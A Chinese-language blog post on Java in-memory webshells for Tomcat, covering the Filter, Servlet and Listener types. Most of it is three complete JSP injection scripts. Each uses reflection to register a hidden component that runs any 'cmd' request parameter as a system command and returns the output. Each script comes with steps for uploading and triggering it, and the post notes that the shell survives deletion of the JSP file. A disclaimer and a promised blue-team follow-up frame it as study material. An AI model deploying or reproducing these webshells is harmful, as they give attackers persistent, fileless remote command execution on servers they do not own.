java 内存马的一些基本知识以及蓝队视角下如何对内存马感染进行应急响应
本篇为 servlet ,filter ,listener 三大组件类型的内存马,下一篇是 tomcat 的 valve 型和 java agent 技术动态注入内存马,再下一篇是蓝队视角下如何对感染内存马进行应急响应
注:本文章所涉及内容仅作为技术交流研究,严禁用于非法用途!请勿进行任何未经授权的渗透,私自对互联网资产展开攻击行为将触犯法律!请师傅们严格遵守法律!
笔记中大量知识点和资源等均整理自网络公开文章,侵删(ㄒoㄒ)
概述简介
内存马就是无需落地,没有文件,直接注入在 java 内存里面的🐎
javaweb之中间件三大组件:监听器(Listener),过滤器(Filter),伺服器(Servlet)
三大组件以及 tomcat 运作的详细分析上一篇有讲(
当请求发出,依次经过上述三个组件,只需要在请求的过程中做手脚,在内存中修改已有的组件或者动态注册一个新的组件,插入恶意的 shellcode 来达到目标
内存马利用思路
filter类内存马
filter 是什么就不多 bb 了,前一篇文章做过笔记(那篇 javaweb 笔记就是为了学内存马而做的)
原理
Filter 内存马的核心战术是利用 Java 的反射机制,在运行时动态注册一个恶意的 Filter,从而拦截并处理所有符合设定的 URL 模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制
filter类内存马注入流程以及实现
先知社区上找到的一张很清晰的图

示例
以下面 jsp 为例:
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter
final String name = "filter"; // Filter 的名称
// 1. 获取 ServletContext
ServletContext servletContext = request.getServletContext();
// 2. 通过反射获取 ApplicationContext
// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); // 设置字段可访问
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值
// 3. 通过反射获取 StandardContext
// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true); // 设置字段可访问
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值
// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
// 反射获取 StandardContext 中的 private 字段 "filterConfigs"
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true); // 设置字段可访问
Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值
// 5. 检查是否已存在同名 Filter
if (filterConfigs.get(name) == null) {
// 6. 创建恶意的 Filter 实例
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Filter 初始化方法 (此处为空)
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// Filter 的核心处理方法
HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
// 如果请求参数中包含 "cmd",则执行命令
if (lrequest.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
// 读取命令执行结果
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
// 将命令执行结果写入响应
lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
lresponse.getOutputStream().flush();
lresponse.getOutputStream().close();
return; // 阻止请求继续传递
}
filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
}
@Override
public void destroy() {
// Filter 销毁方法
}
};
// 7. 创建 FilterDef (Filter 定义)
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); // 设置 Filter 实例
filterDef.setFilterName(name); // 设置 Filter 名称
filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext
// 8. 创建 FilterMap (Filter 映射)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
filterMap.setFilterName(name); // 设置 Filter 名称
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)
// 9. 创建 ApplicationFilterConfig (Filter 配置)
// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true); // 设置构造方法可访问
// 通过反射创建 ApplicationFilterConfig 实例
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
filterConfigs.put(name, filterConfig);
}
%>
利用方法:将 jsp 传到 webapps 然后访问,白页即成功触发,注入内存马成功
之后就可以通过路由
/filter?cmd=calc
来触发命令执行
测试:删除掉 jsp 文件后,内存马仍然生效,但经过重启服务便会失效
上述马的大致流程思路:
- 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContextvlet,listen。 ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标
- 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件
- 最后动态注册Filter:
- 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置
- 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。
- 创建FilterDef对象,设置Filter的名称、类名等信息
- 创建FilterMap对象,设置Filter拦截的URL模式
- 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入
- 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中
servlet 类内存马
servlet 内容见上一篇
原理
Servlet 型内存马与 Filter 型内存马类似,都是利用 Java 的反射机制 和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制
servlet类内存马注入流程以及实现
结合上一篇文章最后 tomcat 的配图食用更好,wrapper 是 servlet 封装的

示例
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
// 定义恶意Servlet类
class EvilServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
response.getWriter().write(sb.toString());
} catch (Exception e) {
response.getWriter().write(e.toString());
}
}
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}
// 注入流程
final String servletName = "evilServlet";
final String urlPattern = "/evil";
// 1. 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 检查 Servlet 是否已存在,防止重复注入
if (standardContext.findChild(servletName) == null) {
// 3. 创建 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
wrapper.setLoadOnStartup(1);
// 4. 添加 Servlet 配置
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(urlPattern, servletName);
out.println("Servlet 注入成功!");
out.println("访问路径: " + urlPattern);
out.println("支持参数: cmd");
} else {
out.println("Servlet 已存在!");
}
%>
操作同 filter ,上传 jsp 文件到 webapps 目录然后访问 jsp 文件触发代码,内存马注入成功之后就可以通过路由 /evil?cmd 执行命令,触发过程一模一样
大致思路:
- 恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端
- 注入流程:
- 获取 StandardContext: 后续思路与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext
- 检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。
- 创建 Wrapper : 使用 standardContext.createWrapper() 创建一个 Wrapper 对象。
- wrapper.setName(servletName): 设置 Servlet 名称。
- wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。
- wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。
- wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。
- 添加 Servlet 配置:
- standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。
- standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。
listener 类内存马
思路如出一辙,动态注册恶意的 Listener
原理

示例
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%
// 定义恶意Listener
class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 每次请求初始化的时候处理
System.out.println("start of listen");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
HttpServletResponse response =
(HttpServletResponse) request.getAttribute("javax.servlet.response");
response.getWriter().write(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 每次请求结束时的处理
System.out.println("ends of listen");
}
}
// 注入流程
// 1. 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 创建并添加Listener
ServletRequestListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
out.println("Listener注入成功!");
%>
利用的方法一模一样,上传listener.jsp访问listener.jsp触发代码,之后就可访问
任意路由 传参cmd执行命令
示例的大致思路:
- 获取 StandardContext:
- 从当前请求中获取 ServletContext 对象
- 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)
- 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示
- 创建并注册恶意 Listener:
- 创建 EvilListener 类的实例
- 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中
listener 因为全局性起作用的特性,流程上短了很多

魔女好看,加油加油